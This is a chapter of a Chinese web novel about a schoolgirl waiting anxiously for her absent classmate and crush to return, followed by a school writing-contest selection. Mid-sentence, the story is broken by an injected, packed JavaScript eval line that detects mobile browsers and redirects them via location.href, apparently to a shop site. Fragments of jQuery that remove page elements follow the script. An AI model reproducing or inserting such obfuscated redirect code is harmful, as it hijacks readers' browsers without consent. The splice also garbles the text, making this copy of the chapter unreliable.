30. 光
作品:《暗恋多年的白月光向我告白了》 半夜两三点发信息……
是有什么要紧的事吗?
于听眠担心之余还有些焦躁,但她知道担心也没什么办法,谢惊洛连秦长宇都没有告诉原因,她就更不会知道发生了什么。
直到下午吃饭的时候于听眠都有些心不在焉。
唐思雨戳着碗里的饭,暗中观察她,最后实在忍不住,喊了她一声:“眠眠?”
于听眠回神:“啊?怎么了?”
唐思雨担忧道:“发生什么事了吗?感觉你一整个下午情绪都不高。”
她顿了一下,贴心地用更细致的方式形容了于听眠目前的状态:“眼神无神地像被猪油蒙了一样。”
于听眠:“……不会形容可以不形容。”
很好,气一下眼睛就有神了。
“所以真的发生了什么事吗?”
“……没有吧。”于听眠迟疑一瞬,有那么一刻想说自己担心谢惊洛,但最后还是换了种说法。
“有句话说得好,人虽然无时无刻都在向前行走,但偶尔会在某个瞬间顿悟一些道理,从而短暂地停下思考,而在这个时间段里做出的决定,很可能会对往后要前进的方向产生巨大影响,我现在大概就处于这个状态。”
唐思雨:“这句话谁说的?”
于听眠:“我说的。”
唐思雨:“……”
真是多余担心她。
见人状态好了不少唐思雨也稍稍放下了心,给她说了一些最近发生的趣事转移她的注意力,没多久两人又开始从今天哪个女老师穿的裙子最好看聊到下次体育课要吃哪个窗口的菜了。
和好友聊天最能放松精神,一顿饭下来蒙在于听眠心头的焦躁感散去不少。
但让于听眠意料不到的是,谢惊洛第二天也没来上课。
唐思雨也觉得奇怪,虽说谢惊洛天天在迟到的边缘徘徊,但连续两天没来上课的情况她也是第一次见,之前有什么事也是最多请半天假就能回来。
终于,在某节课下课的时候唐思雨逮住了从她们座位路过的秦长宇,问他有没有关于谢惊洛的最新消息。
“最新消息?”秦长宇回想片刻,“倒是有一个,他今天早上打电话来跟我说他现在在国外。”
“啊???”
这是她们两个人都没想到的可能性,于听眠也最多猜测他是不是生病了,完全没想到人已经出了国。
她终究是忍不住问了一句:“怎么就出国了?好突然。”
秦长宇:“不清楚,他没和我细讲,就只说了过几天再回来,谢惊洛想说的事他会自己说,不想说的事他一个字都不会主动提,听他的语气应该是不想提的,所以我也就没细问。”
话问完了,秦长宇也没了利用价值,唐思雨给了他一根棒棒糖摆摆手把人打发走,转头和于听眠分析:“如果是去了国外的话,那应该是和他妈妈有关。”
“他妈妈?”
“是的。”唐思雨点头,解释道:“谢惊洛家里的情况我知道的也不是很多,只知道他妈妈是位著名的钢琴家,常年定居在国外,他忽然跑出去十有八九是因为这个。”
“……原来如此。”
2013年10月25日
天气:阴
谢惊洛两天没来上课,听秦长宇说他出了国,要过几天才能回来。
又听思雨分析说可能和他妈妈有关。
唉——他连秦长宇都没有告诉原因,更担心了。
算了,写两道语文阅读题静静心吧。
完成了今日份的学习任务,于听眠收拾好东西准备上床歇息。在把遮光的窗帘拉上之前,她看了一眼窗外漆黑的夜空。
近两日天气阴郁,不见月明。
明天是周末,她把讨人厌的闹钟关了再盖上被子准备入眠。
躺了一会儿,她觉得这个姿势有点不舒服,翻了个身。
正对着枕头边的呆头呆脑的小狗玩偶。
于听眠盯着它看了一下,伸手将它捞了过来。
她用力捏了一下软乎乎的狗头,又瞬间松开手看着它一点点回弹。
手感有点上瘾。
于听眠仿佛找到了什么奇妙的乐趣,乐此不疲地对着狗头捏了又捏,发现心情意外地放松了不少,唯一的缺点就是回弹的速度略微缓慢。
眼看着圆滚滚的狗头要被自己恶毒的爪子捏变形,于听眠终于大发慈悲地停了手,揉揉狗头又把它揉圆。
于听眠观赏了一番自己的杰作,而后叹了口气,把玩偶整个搂进怀里。
无论是发生了什么事,都希望谢惊洛能够顺利解决。
她带着这个祝愿,缓缓闭上了眼睛。
已然入了深秋,凉风阵阵,秋风吹落了窗前的树叶,也吹过了风平浪静的周末。
一切如常,无事发生。
又是一个新的周一,于听眠带着期待又忐忑的心情早早来到了教室。与平日无二般,她也是整理好了东西后趁还未上课开始记记单词。
只是她心不静,记得不专心,眼角余光总是时不时落在教室门前,像是在期望着什么到来,真正入脑的单词其实没几个。
时间一点一点流逝,上课铃即将要响,就当于听眠认为今日的希翼又要落空时,教室门口终是出现了惦念已久的身影。
谢惊洛和秦长宇有说有笑地走进了教室。
接连两日的阴郁天气过去,今天出了太阳,不知是谁扯了一下窗帘,日光就漏进了屋里。
世界随之有了光。
于听眠眼眸一亮,她不知怎么形容那一瞬的心情,若非要说的话,或许是守得云开见月明。
“叮铃铃——”
谢惊洛在位置上落坐,铃声也在同一时间响起,于听眠紧绷了好几日的心情刹那间松懈了下来。
她一把抓起正在找书的唐思雨的手。
唐思雨:“?”
于听眠精神饱满道:“亲爱的,我忽然觉得世界是如此的美好,你看看这明媚的阳光,你感受一下这温暖的温度,我感觉我现在浑身充满了力量,你现在让我去做什么我都会去做的!”
唐思雨:“真的?”
于听眠:“假的。”
唐思雨无语:“有病是不是?”
于听眠嬉皮笑脸:“嘻嘻~”
谢惊洛回来了,“新青杯”的初稿筛选结果也出来了,理一班包括于听眠在内,一共入选了五人。
除了于听眠、谢惊洛、唐思雨这三人,剩下的两人分别是语文课代表许云、以及一个娃娃脸、个头不高但挺活泼开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118104|194986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朗的男孩子,于听眠对他的了解不多,只记得他叫何宸逸。
“耶斯——”
唐思雨抓着于听眠的肩膀摇啊摇,企图把她的脑浆子给摇匀了:“哦豁我过了我过了我过了——”
“我知道,你冷静一点。”于听眠按住她乱动的手往下一拽,成功让自己逃离她的魔爪,斜摊在一旁,身体仿佛柔若无骨,“我知道你很激动但你先别激动,我身子娇弱,禁不起你这般粗暴对待。”
唐思雨:“……”
又开始演了是吧。
大课间时间充裕,杨秋心把五个人整整齐齐全叫到了办公室。原本还算宽敞的办公室一下子变得拥挤,五个人一起将杨秋心的办公位围了个水泄不通。
谢惊洛觉得挤人,后退了一步,站在了他们后边,但为了不占用过道阻碍其他人路过,他也没退太远,而前方正巧站了于听眠。
两人距离离得近,谢惊洛又高她不少,恍惚间她好似听到了谢惊洛平稳有力的呼吸声。
她不经意地挺直了脊背,身体僵硬,动都不敢动,并开始懊恼今天怎么没打理出个好看的后脑勺。
好在杨秋心适时开口,吸引了全部人的注意力。
她从抽屉里翻出五个文件夹,一人发了一个:“这是你们这次写的文章,每个人的我都做了批注,我打印了五份,你们回去总结一下经验,然后看看其他人的文笔文风,学习一下别人的优点反思一下自己的不足,做好准备参加省级赛。”
于听眠回到教室打开文件夹,抽出来的第一张就是谢惊洛的文章。
这像是日常生活中偶然抽中的小惊喜,没什么特别的含义,却让于听眠的心情愉悦了几分。
她认真地将其他四人的文章都看了一遍,从他们的文章里汲取经验,可谓是收获不少。
于听眠和唐思雨边看边总结经验,正说到一半,何宸逸就寻了过来。
这个男生长着张显幼的娃娃脸,像个小弟弟,行为言语也符合他的长相,开口就是:“两位漂亮姐姐好啊!”
“?”
于听眠被这一声姐姐喊懵,看了他几眼,默默靠近唐思雨,小声道:“他几岁?”
唐思雨也小声回答:“小你我一岁多。”
于听眠:“哦。”
那叫姐姐也确实没问题。
何宸逸假装没听到她们两个的大声密谋,笑嘻嘻地说:“能不能向姐姐们请教一下你们写作时的心路历程?”
原来是来问这个。
这没什么不能说的,两人都简单和他交流了一下。
何宸逸得到了自己想要的回答,礼貌和她们道谢道别。
于听眠看到他转头就去骚扰了谢惊洛。
于听眠:“……”
看来等一下许云回来了也逃不过一劫。
晚饭过后于听眠和唐思雨照例去了小超市找饭后甜点。吃完了薯片于听眠觉得手上沾上了调料难受,就去厕所洗了个手。
返回教室时,她无意识地撇了一眼楼梯口。
停住了脚步。
于听眠犹豫片刻,又一次踏上了楼梯。
上到一半,她在拐角处停下。
她看见往日总是紧闭的铁门今日漏了一条细缝。
透进了一缕光。

